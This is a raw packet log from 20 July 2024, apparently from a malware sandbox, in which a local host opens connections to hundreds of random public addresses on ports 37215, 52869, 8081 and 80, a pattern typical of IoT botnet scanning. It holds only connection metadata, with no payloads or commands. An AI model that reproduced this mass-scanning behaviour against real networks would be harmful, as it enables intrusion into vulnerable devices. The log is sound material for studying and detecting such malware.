Jul 20, 2024 23:01:01.141331911 CEST	37215	50563	197.161.85.5	192.168.2.13
Jul 20, 2024 23:01:01.141355991 CEST	37215	50563	41.250.104.175	192.168.2.13
Jul 20, 2024 23:01:01.141550064 CEST	37215	50563	41.254.232.86	192.168.2.13
Jul 20, 2024 23:01:01.141807079 CEST	37215	50563	157.39.183.1	192.168.2.13
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	41.243.254.223
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	197.134.28.153
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	41.121.247.112
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	41.12.118.75
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	197.16.253.31
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	196.235.128.64
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	197.88.135.158
Jul 20, 2024 23:01:01.141828060 CEST	50563	37215	192.168.2.13	41.41.134.89
Jul 20, 2024 23:01:01.141997099 CEST	37215	50563	41.195.71.240	192.168.2.13
Jul 20, 2024 23:01:01.142009974 CEST	37215	50563	157.13.205.231	192.168.2.13
Jul 20, 2024 23:01:01.142021894 CEST	37215	50563	197.197.180.136	192.168.2.13
Jul 20, 2024 23:01:01.142266989 CEST	50563	37215	192.168.2.13	96.0.48.169
Jul 20, 2024 23:01:01.142266989 CEST	50563	37215	192.168.2.13	94.67.68.110
Jul 20, 2024 23:01:01.142267942 CEST	50563	37215	192.168.2.13	197.161.85.5
Jul 20, 2024 23:01:01.142282009 CEST	37215	50563	197.165.35.91	192.168.2.13
Jul 20, 2024 23:01:01.142565966 CEST	37215	50563	157.158.177.4	192.168.2.13
Jul 20, 2024 23:01:01.142690897 CEST	37215	50563	157.204.202.113	192.168.2.13
Jul 20, 2024 23:01:01.142805099 CEST	37215	50563	41.147.16.102	192.168.2.13
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	197.190.33.94
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	91.158.203.231
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	155.12.172.7
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	197.154.171.115
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	41.22.68.222
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	5.156.193.212
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	157.113.26.208
Jul 20, 2024 23:01:01.142947912 CEST	50563	37215	192.168.2.13	197.133.46.145
Jul 20, 2024 23:01:01.143121958 CEST	50563	37215	192.168.2.13	41.250.104.175
Jul 20, 2024 23:01:01.143121958 CEST	50563	37215	192.168.2.13	41.254.232.86
Jul 20, 2024 23:01:01.143121958 CEST	50563	37215	192.168.2.13	157.39.183.1
Jul 20, 2024 23:01:01.143121958 CEST	50563	37215	192.168.2.13	41.195.71.240
Jul 20, 2024 23:01:01.143122911 CEST	50563	37215	192.168.2.13	157.13.205.231
Jul 20, 2024 23:01:01.143122911 CEST	50563	37215	192.168.2.13	197.197.180.136
Jul 20, 2024 23:01:01.143122911 CEST	50563	37215	192.168.2.13	197.165.35.91
Jul 20, 2024 23:01:01.143122911 CEST	50563	37215	192.168.2.13	157.158.177.4
Jul 20, 2024 23:01:01.143141031 CEST	37215	50563	41.139.225.227	192.168.2.13
Jul 20, 2024 23:01:01.143244982 CEST	37215	50563	197.117.58.99	192.168.2.13
Jul 20, 2024 23:01:01.143389940 CEST	37215	50563	94.20.181.132	192.168.2.13
Jul 20, 2024 23:01:01.143403053 CEST	37215	50563	190.107.182.17	192.168.2.13
Jul 20, 2024 23:01:01.143681049 CEST	37215	50563	157.55.166.112	192.168.2.13
Jul 20, 2024 23:01:01.143734932 CEST	37215	50563	157.120.224.175	192.168.2.13
Jul 20, 2024 23:01:01.143805981 CEST	37215	50563	41.9.89.130	192.168.2.13
Jul 20, 2024 23:01:01.143894911 CEST	37215	50563	41.126.225.218	192.168.2.13
Jul 20, 2024 23:01:01.143907070 CEST	37215	50563	157.43.151.139	192.168.2.13
Jul 20, 2024 23:01:01.144169092 CEST	37215	50563	157.50.38.144	192.168.2.13
Jul 20, 2024 23:01:01.144275904 CEST	37215	50563	197.253.96.95	192.168.2.13
Jul 20, 2024 23:01:01.144310951 CEST	50563	37215	192.168.2.13	41.225.46.140
Jul 20, 2024 23:01:01.144310951 CEST	50563	37215	192.168.2.13	157.202.26.212
Jul 20, 2024 23:01:01.144310951 CEST	50563	37215	192.168.2.13	157.167.12.19
Jul 20, 2024 23:01:01.144563913 CEST	50563	37215	192.168.2.13	157.204.202.113
Jul 20, 2024 23:01:01.144563913 CEST	50563	37215	192.168.2.13	41.139.225.227
Jul 20, 2024 23:01:01.144565105 CEST	50563	37215	192.168.2.13	190.107.182.17
Jul 20, 2024 23:01:01.144565105 CEST	50563	37215	192.168.2.13	157.55.166.112
Jul 20, 2024 23:01:01.144565105 CEST	50563	37215	192.168.2.13	157.120.224.175
Jul 20, 2024 23:01:01.144565105 CEST	50563	37215	192.168.2.13	41.9.89.130
Jul 20, 2024 23:01:01.144565105 CEST	50563	37215	192.168.2.13	157.43.151.139
Jul 20, 2024 23:01:01.144814014 CEST	37215	50563	41.148.224.255	192.168.2.13
Jul 20, 2024 23:01:01.144829035 CEST	37215	50563	157.225.30.241	192.168.2.13
Jul 20, 2024 23:01:01.144836903 CEST	37215	50563	41.223.36.90	192.168.2.13
Jul 20, 2024 23:01:01.145183086 CEST	50563	37215	192.168.2.13	197.253.96.95
Jul 20, 2024 23:01:01.145184040 CEST	50563	37215	192.168.2.13	41.223.36.90
Jul 20, 2024 23:01:01.145385027 CEST	45378	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:01.145391941 CEST	37215	50563	165.174.26.193	192.168.2.13
Jul 20, 2024 23:01:01.145787001 CEST	37215	50563	41.210.245.221	192.168.2.13
Jul 20, 2024 23:01:01.145797014 CEST	37215	50563	41.107.78.249	192.168.2.13
Jul 20, 2024 23:01:01.145806074 CEST	37215	50563	41.56.245.171	192.168.2.13
Jul 20, 2024 23:01:01.145842075 CEST	50563	37215	192.168.2.13	41.210.245.221
Jul 20, 2024 23:01:01.145848036 CEST	37215	50563	41.254.173.152	192.168.2.13
Jul 20, 2024 23:01:01.145858049 CEST	37215	50563	157.168.13.157	192.168.2.13
Jul 20, 2024 23:01:01.145962000 CEST	37215	50563	157.78.20.96	192.168.2.13
Jul 20, 2024 23:01:01.145972013 CEST	37215	50563	188.146.228.32	192.168.2.13
Jul 20, 2024 23:01:01.145973921 CEST	50563	37215	192.168.2.13	41.254.173.152
Jul 20, 2024 23:01:01.145981073 CEST	37215	50563	197.61.160.111	192.168.2.13
Jul 20, 2024 23:01:01.145996094 CEST	37215	50563	175.6.226.184	192.168.2.13
Jul 20, 2024 23:01:01.146006107 CEST	37215	50563	86.113.236.205	192.168.2.13
Jul 20, 2024 23:01:01.146039963 CEST	50563	37215	192.168.2.13	157.78.20.96
Jul 20, 2024 23:01:01.146039963 CEST	50563	37215	192.168.2.13	197.61.160.111
Jul 20, 2024 23:01:01.146039963 CEST	50563	37215	192.168.2.13	175.6.226.184
Jul 20, 2024 23:01:01.146107912 CEST	37215	50563	41.98.165.87	192.168.2.13
Jul 20, 2024 23:01:01.146194935 CEST	50563	37215	192.168.2.13	41.98.165.87
Jul 20, 2024 23:01:01.146270037 CEST	37215	50563	41.97.217.99	192.168.2.13
Jul 20, 2024 23:01:01.146373987 CEST	37215	50563	197.123.40.251	192.168.2.13
Jul 20, 2024 23:01:01.146383047 CEST	37215	50563	157.236.164.175	192.168.2.13
Jul 20, 2024 23:01:01.146390915 CEST	37215	50563	197.4.6.114	192.168.2.13
Jul 20, 2024 23:01:01.146404982 CEST	50563	37215	192.168.2.13	197.123.40.251
Jul 20, 2024 23:01:01.146461010 CEST	50563	37215	192.168.2.13	197.4.6.114
Jul 20, 2024 23:01:01.146696091 CEST	37215	50563	197.64.193.70	192.168.2.13
Jul 20, 2024 23:01:01.146706104 CEST	37215	50563	85.192.194.125	192.168.2.13
Jul 20, 2024 23:01:01.146714926 CEST	37215	50563	93.196.123.213	192.168.2.13
Jul 20, 2024 23:01:01.146732092 CEST	50563	37215	192.168.2.13	85.192.194.125
Jul 20, 2024 23:01:01.146981955 CEST	37215	50563	66.197.4.160	192.168.2.13
Jul 20, 2024 23:01:01.146991968 CEST	37215	50563	41.243.254.223	192.168.2.13
Jul 20, 2024 23:01:01.147000074 CEST	37215	50563	197.254.4.72	192.168.2.13
Jul 20, 2024 23:01:01.147018909 CEST	50563	37215	192.168.2.13	66.197.4.160
Jul 20, 2024 23:01:01.147079945 CEST	50563	37215	192.168.2.13	197.254.4.72
Jul 20, 2024 23:01:01.147228003 CEST	37215	50563	197.134.28.153	192.168.2.13
Jul 20, 2024 23:01:01.147418976 CEST	37215	50563	157.84.163.96	192.168.2.13
Jul 20, 2024 23:01:01.147429943 CEST	37215	50563	41.121.247.112	192.168.2.13
Jul 20, 2024 23:01:01.147438049 CEST	37215	50563	96.0.48.169	192.168.2.13
Jul 20, 2024 23:01:01.147449970 CEST	50563	37215	192.168.2.13	157.84.163.96
Jul 20, 2024 23:01:01.147454023 CEST	37215	50563	41.12.118.75	192.168.2.13
Jul 20, 2024 23:01:01.147495985 CEST	50563	37215	192.168.2.13	41.147.16.102
Jul 20, 2024 23:01:01.147504091 CEST	33836	37215	192.168.2.13	90.118.180.212
Jul 20, 2024 23:01:01.147511959 CEST	50563	37215	192.168.2.13	96.0.48.169
Jul 20, 2024 23:01:01.147540092 CEST	37215	50563	197.16.253.31	192.168.2.13
Jul 20, 2024 23:01:01.147728920 CEST	37215	50563	196.235.128.64	192.168.2.13
Jul 20, 2024 23:01:01.147767067 CEST	37215	50563	94.67.68.110	192.168.2.13
Jul 20, 2024 23:01:01.147775888 CEST	37215	50563	197.88.135.158	192.168.2.13
Jul 20, 2024 23:01:01.147784948 CEST	37215	50563	41.41.134.89	192.168.2.13
Jul 20, 2024 23:01:01.147795916 CEST	50563	37215	192.168.2.13	94.67.68.110
Jul 20, 2024 23:01:01.147924900 CEST	37215	50563	197.190.33.94	192.168.2.13
Jul 20, 2024 23:01:01.148220062 CEST	37215	50563	91.158.203.231	192.168.2.13
Jul 20, 2024 23:01:01.148284912 CEST	37215	50563	155.12.172.7	192.168.2.13
Jul 20, 2024 23:01:01.148452997 CEST	37215	50563	197.154.171.115	192.168.2.13
Jul 20, 2024 23:01:01.148665905 CEST	37215	50563	41.22.68.222	192.168.2.13
Jul 20, 2024 23:01:01.149050951 CEST	37215	50563	5.156.193.212	192.168.2.13
Jul 20, 2024 23:01:01.149060965 CEST	37215	50563	157.113.26.208	192.168.2.13
Jul 20, 2024 23:01:01.149152994 CEST	39528	8081	192.168.2.13	206.159.6.219
Jul 20, 2024 23:01:01.149352074 CEST	37215	50563	197.133.46.145	192.168.2.13
Jul 20, 2024 23:01:01.149483919 CEST	37215	50563	41.225.46.140	192.168.2.13
Jul 20, 2024 23:01:01.149544001 CEST	37215	50563	157.202.26.212	192.168.2.13
Jul 20, 2024 23:01:01.149719000 CEST	37215	50563	157.167.12.19	192.168.2.13
Jul 20, 2024 23:01:01.149736881 CEST	41912	52869	192.168.2.13	197.160.210.166
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	197.117.58.99
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	94.20.181.132
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	41.126.225.218
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	157.50.38.144
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	157.225.30.241
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	41.148.224.255
Jul 20, 2024 23:01:01.149950981 CEST	50563	37215	192.168.2.13	165.174.26.193
Jul 20, 2024 23:01:01.150521994 CEST	80	45378	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:01.150561094 CEST	50563	37215	192.168.2.13	41.107.78.249
Jul 20, 2024 23:01:01.150561094 CEST	50563	37215	192.168.2.13	41.56.245.171
Jul 20, 2024 23:01:01.150561094 CEST	50563	37215	192.168.2.13	157.168.13.157
Jul 20, 2024 23:01:01.150562048 CEST	50563	37215	192.168.2.13	188.146.228.32
Jul 20, 2024 23:01:01.150562048 CEST	50563	37215	192.168.2.13	86.113.236.205
Jul 20, 2024 23:01:01.150562048 CEST	50563	37215	192.168.2.13	41.97.217.99
Jul 20, 2024 23:01:01.150562048 CEST	50563	37215	192.168.2.13	157.236.164.175
Jul 20, 2024 23:01:01.150562048 CEST	50563	37215	192.168.2.13	197.64.193.70
Jul 20, 2024 23:01:01.150813103 CEST	45378	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:01.151312113 CEST	43498	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	93.196.123.213
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	41.243.254.223
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	197.134.28.153
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	41.121.247.112
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	41.12.118.75
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	197.16.253.31
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	196.235.128.64
Jul 20, 2024 23:01:01.151385069 CEST	50563	37215	192.168.2.13	41.41.134.89
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	197.88.135.158
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	197.190.33.94
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	91.158.203.231
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	155.12.172.7
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	197.154.171.115
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	41.22.68.222
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	5.156.193.212
Jul 20, 2024 23:01:01.152055025 CEST	50563	37215	192.168.2.13	157.113.26.208
Jul 20, 2024 23:01:01.152617931 CEST	50563	37215	192.168.2.13	197.133.46.145
Jul 20, 2024 23:01:01.152617931 CEST	50563	37215	192.168.2.13	41.225.46.140
Jul 20, 2024 23:01:01.152617931 CEST	50563	37215	192.168.2.13	157.202.26.212
Jul 20, 2024 23:01:01.152617931 CEST	50563	37215	192.168.2.13	157.167.12.19
Jul 20, 2024 23:01:01.152683973 CEST	37215	33836	90.118.180.212	192.168.2.13
Jul 20, 2024 23:01:01.152728081 CEST	33836	37215	192.168.2.13	90.118.180.212
Jul 20, 2024 23:01:01.154272079 CEST	43194	8081	192.168.2.13	151.241.150.207
Jul 20, 2024 23:01:01.154344082 CEST	8081	39528	206.159.6.219	192.168.2.13
Jul 20, 2024 23:01:01.154376984 CEST	55590	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:01.154555082 CEST	52869	41912	197.160.210.166	192.168.2.13
Jul 20, 2024 23:01:01.154618025 CEST	39528	8081	192.168.2.13	206.159.6.219
Jul 20, 2024 23:01:01.154618025 CEST	41912	52869	192.168.2.13	197.160.210.166
Jul 20, 2024 23:01:01.154808998 CEST	52738	52869	192.168.2.13	64.186.75.249
Jul 20, 2024 23:01:01.156533957 CEST	34794	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:01.156534910 CEST	37215	43498	197.68.211.95	192.168.2.13
Jul 20, 2024 23:01:01.156579971 CEST	43498	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:01.159563065 CEST	8081	43194	151.241.150.207	192.168.2.13
Jul 20, 2024 23:01:01.159567118 CEST	47680	8081	192.168.2.13	69.179.58.224
Jul 20, 2024 23:01:01.159573078 CEST	80	55590	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:01.159612894 CEST	43194	8081	192.168.2.13	151.241.150.207
Jul 20, 2024 23:01:01.159845114 CEST	55590	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:01.159898043 CEST	52869	52738	64.186.75.249	192.168.2.13
Jul 20, 2024 23:01:01.159939051 CEST	52738	52869	192.168.2.13	64.186.75.249
Jul 20, 2024 23:01:01.160088062 CEST	46284	52869	192.168.2.13	89.57.196.100
Jul 20, 2024 23:01:01.160238981 CEST	44900	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:01.161448002 CEST	37215	34794	197.74.4.205	192.168.2.13
Jul 20, 2024 23:01:01.161487103 CEST	34794	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:01.163769007 CEST	59434	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:01.164875984 CEST	8081	47680	69.179.58.224	192.168.2.13
Jul 20, 2024 23:01:01.164922953 CEST	47680	8081	192.168.2.13	69.179.58.224
Jul 20, 2024 23:01:01.165096045 CEST	52869	46284	89.57.196.100	192.168.2.13
Jul 20, 2024 23:01:01.165129900 CEST	46284	52869	192.168.2.13	89.57.196.100
Jul 20, 2024 23:01:01.165157080 CEST	58172	8081	192.168.2.13	223.200.73.225
Jul 20, 2024 23:01:01.165637016 CEST	37215	44900	197.77.114.34	192.168.2.13
Jul 20, 2024 23:01:01.165680885 CEST	44900	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:01.165683985 CEST	53956	52869	192.168.2.13	97.114.117.29
Jul 20, 2024 23:01:01.166142941 CEST	37170	37215	192.168.2.13	197.94.251.61
Jul 20, 2024 23:01:01.168862104 CEST	80	59434	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:01.168903112 CEST	59434	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:01.170100927 CEST	57060	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:01.170202017 CEST	49790	8081	192.168.2.13	181.172.116.237
Jul 20, 2024 23:01:01.170295954 CEST	8081	58172	223.200.73.225	192.168.2.13
Jul 20, 2024 23:01:01.170344114 CEST	58172	8081	192.168.2.13	223.200.73.225
Jul 20, 2024 23:01:01.170825005 CEST	47088	52869	192.168.2.13	213.249.133.80
Jul 20, 2024 23:01:01.171001911 CEST	52869	53956	97.114.117.29	192.168.2.13
Jul 20, 2024 23:01:01.171037912 CEST	53956	52869	192.168.2.13	97.114.117.29
Jul 20, 2024 23:01:01.171233892 CEST	37215	37170	197.94.251.61	192.168.2.13
Jul 20, 2024 23:01:01.171272993 CEST	37170	37215	192.168.2.13	197.94.251.61
Jul 20, 2024 23:01:01.172732115 CEST	57330	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:01.174675941 CEST	35738	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:01.174895048 CEST	47034	8081	192.168.2.13	126.136.87.253
Jul 20, 2024 23:01:01.175245047 CEST	37215	57060	197.31.246.31	192.168.2.13
Jul 20, 2024 23:01:01.175278902 CEST	57060	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:01.175451994 CEST	8081	49790	181.172.116.237	192.168.2.13
Jul 20, 2024 23:01:01.175559044 CEST	49790	8081	192.168.2.13	181.172.116.237
Jul 20, 2024 23:01:01.175564051 CEST	39716	52869	192.168.2.13	83.224.119.168
Jul 20, 2024 23:01:01.175873995 CEST	52869	47088	213.249.133.80	192.168.2.13
Jul 20, 2024 23:01:01.176007986 CEST	47088	52869	192.168.2.13	213.249.133.80
Jul 20, 2024 23:01:01.178061008 CEST	80	57330	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:01.178107023 CEST	57330	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:01.178586960 CEST	42080	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:01.180263042 CEST	37215	35738	41.59.239.153	192.168.2.13
Jul 20, 2024 23:01:01.180300951 CEST	35738	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:01.180432081 CEST	8081	47034	126.136.87.253	192.168.2.13
Jul 20, 2024 23:01:01.180449963 CEST	51080	8081	192.168.2.13	199.254.182.224
Jul 20, 2024 23:01:01.180471897 CEST	47034	8081	192.168.2.13	126.136.87.253
Jul 20, 2024 23:01:01.181102991 CEST	52869	39716	83.224.119.168	192.168.2.13
Jul 20, 2024 23:01:01.181163073 CEST	49612	52869	192.168.2.13	152.161.224.79
Jul 20, 2024 23:01:01.181164026 CEST	39716	52869	192.168.2.13	83.224.119.168
Jul 20, 2024 23:01:01.181646109 CEST	37702	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:01.183577061 CEST	47378	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:01.184175968 CEST	37215	42080	197.107.200.173	192.168.2.13
Jul 20, 2024 23:01:01.184211969 CEST	42080	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:01.185430050 CEST	43270	8081	192.168.2.13	124.38.177.48
Jul 20, 2024 23:01:01.186013937 CEST	57916	52869	192.168.2.13	126.209.245.77
Jul 20, 2024 23:01:01.186168909 CEST	8081	51080	199.254.182.224	192.168.2.13
Jul 20, 2024 23:01:01.186206102 CEST	51080	8081	192.168.2.13	199.254.182.224
Jul 20, 2024 23:01:01.186747074 CEST	52869	49612	152.161.224.79	192.168.2.13
Jul 20, 2024 23:01:01.186898947 CEST	49612	52869	192.168.2.13	152.161.224.79
Jul 20, 2024 23:01:01.187028885 CEST	80	37702	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:01.187067986 CEST	37702	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:01.187885046 CEST	51910	37215	192.168.2.13	157.125.89.203
Jul 20, 2024 23:01:01.188699007 CEST	37215	47378	157.12.134.58	192.168.2.13
Jul 20, 2024 23:01:01.188740015 CEST	47378	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:01.190262079 CEST	60056	8081	192.168.2.13	50.236.129.27
Jul 20, 2024 23:01:01.190738916 CEST	40912	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:01.190942049 CEST	60734	52869	192.168.2.13	17.217.65.15
Jul 20, 2024 23:01:01.191696882 CEST	8081	43270	124.38.177.48	192.168.2.13
Jul 20, 2024 23:01:01.191715956 CEST	52869	57916	126.209.245.77	192.168.2.13
Jul 20, 2024 23:01:01.191731930 CEST	43270	8081	192.168.2.13	124.38.177.48
Jul 20, 2024 23:01:01.191750050 CEST	57916	52869	192.168.2.13	126.209.245.77
Jul 20, 2024 23:01:01.192617893 CEST	35908	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:01.193711996 CEST	37215	51910	157.125.89.203	192.168.2.13
Jul 20, 2024 23:01:01.193850994 CEST	51910	37215	192.168.2.13	157.125.89.203
Jul 20, 2024 23:01:01.195385933 CEST	8081	60056	50.236.129.27	192.168.2.13
Jul 20, 2024 23:01:01.195422888 CEST	60056	8081	192.168.2.13	50.236.129.27
Jul 20, 2024 23:01:01.195975065 CEST	80	40912	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:01.195982933 CEST	52869	60734	17.217.65.15	192.168.2.13
Jul 20, 2024 23:01:01.196003914 CEST	40912	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:01.196024895 CEST	60734	52869	192.168.2.13	17.217.65.15
Jul 20, 2024 23:01:01.196425915 CEST	46682	8081	192.168.2.13	190.7.132.46
Jul 20, 2024 23:01:01.196643114 CEST	38402	52869	192.168.2.13	170.201.104.199
Jul 20, 2024 23:01:01.197010040 CEST	38052	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:01.197741985 CEST	37215	35908	197.194.56.97	192.168.2.13
Jul 20, 2024 23:01:01.197784901 CEST	35908	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:01.200628996 CEST	52992	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:01.201225042 CEST	8081	46682	190.7.132.46	192.168.2.13
Jul 20, 2024 23:01:01.201258898 CEST	46682	8081	192.168.2.13	190.7.132.46
Jul 20, 2024 23:01:01.201561928 CEST	51306	8081	192.168.2.13	117.218.27.54
Jul 20, 2024 23:01:01.202016115 CEST	52869	38402	170.201.104.199	192.168.2.13
Jul 20, 2024 23:01:01.202023983 CEST	37215	38052	41.195.201.112	192.168.2.13
Jul 20, 2024 23:01:01.202058077 CEST	38052	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:01.202060938 CEST	38402	52869	192.168.2.13	170.201.104.199
Jul 20, 2024 23:01:01.202110052 CEST	55584	52869	192.168.2.13	77.182.150.37
Jul 20, 2024 23:01:01.202261925 CEST	52314	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:01.207236052 CEST	58380	52869	192.168.2.13	191.214.228.151
Jul 20, 2024 23:01:01.207436085 CEST	46006	37215	192.168.2.13	41.171.233.155
Jul 20, 2024 23:01:01.207648993 CEST	80	52992	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:01.207691908 CEST	52992	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:01.208086967 CEST	8081	51306	117.218.27.54	192.168.2.13
Jul 20, 2024 23:01:01.208105087 CEST	37215	52314	197.140.115.231	192.168.2.13
Jul 20, 2024 23:01:01.208123922 CEST	51306	8081	192.168.2.13	117.218.27.54
Jul 20, 2024 23:01:01.208142996 CEST	52314	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:01.208268881 CEST	52869	55584	77.182.150.37	192.168.2.13
Jul 20, 2024 23:01:01.208843946 CEST	55584	52869	192.168.2.13	77.182.150.37
Jul 20, 2024 23:01:01.209287882 CEST	39294	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:01.212470055 CEST	58942	52869	192.168.2.13	13.145.132.17
Jul 20, 2024 23:01:01.212470055 CEST	52990	37215	192.168.2.13	157.200.28.48
Jul 20, 2024 23:01:01.212721109 CEST	52869	58380	191.214.228.151	192.168.2.13
Jul 20, 2024 23:01:01.212794065 CEST	58380	52869	192.168.2.13	191.214.228.151
Jul 20, 2024 23:01:01.212944984 CEST	37215	46006	41.171.233.155	192.168.2.13
Jul 20, 2024 23:01:01.213077068 CEST	46006	37215	192.168.2.13	41.171.233.155
Jul 20, 2024 23:01:01.215224028 CEST	80	39294	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:01.215255976 CEST	39294	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:01.216319084 CEST	54014	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:01.216460943 CEST	45790	52869	192.168.2.13	18.101.167.39
Jul 20, 2024 23:01:01.216550112 CEST	51630	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:01.218610048 CEST	52869	58942	13.145.132.17	192.168.2.13
Jul 20, 2024 23:01:01.218653917 CEST	58942	52869	192.168.2.13	13.145.132.17
Jul 20, 2024 23:01:01.218837976 CEST	37215	52990	157.200.28.48	192.168.2.13
Jul 20, 2024 23:01:01.219033003 CEST	52990	37215	192.168.2.13	157.200.28.48
Jul 20, 2024 23:01:01.220386982 CEST	47268	52869	192.168.2.13	199.255.47.208
Jul 20, 2024 23:01:01.220484972 CEST	33622	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:01.223340988 CEST	40116	8081	192.168.2.13	221.122.108.67
Jul 20, 2024 23:01:01.225584030 CEST	52352	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:01.226102114 CEST	46912	52869	192.168.2.13	68.30.100.71
Jul 20, 2024 23:01:01.226604939 CEST	50565	8081	192.168.2.13	65.215.225.245
Jul 20, 2024 23:01:01.226604939 CEST	50565	8081	192.168.2.13	143.27.18.176
Jul 20, 2024 23:01:01.226607084 CEST	50565	8081	192.168.2.13	178.207.121.247
Jul 20, 2024 23:01:01.226613998 CEST	50565	8081	192.168.2.13	57.121.52.13
Jul 20, 2024 23:01:01.226614952 CEST	50565	8081	192.168.2.13	108.214.73.8
Jul 20, 2024 23:01:01.226630926 CEST	50565	8081	192.168.2.13	66.150.19.60
Jul 20, 2024 23:01:01.226650000 CEST	50565	8081	192.168.2.13	156.244.254.42
Jul 20, 2024 23:01:01.226661921 CEST	37215	54014	157.18.137.5	192.168.2.13
Jul 20, 2024 23:01:01.226680994 CEST	52869	45790	18.101.167.39	192.168.2.13
Jul 20, 2024 23:01:01.226690054 CEST	80	51630	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:01.226733923 CEST	51630	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:01.226784945 CEST	50565	8081	192.168.2.13	52.150.223.138
Jul 20, 2024 23:01:01.226955891 CEST	50565	8081	192.168.2.13	145.13.120.181
Jul 20, 2024 23:01:01.226955891 CEST	50565	8081	192.168.2.13	197.184.135.134
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	149.77.75.175
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	2.40.205.178
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	197.0.192.50
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	104.126.200.32
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	156.127.68.248
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	71.148.68.212
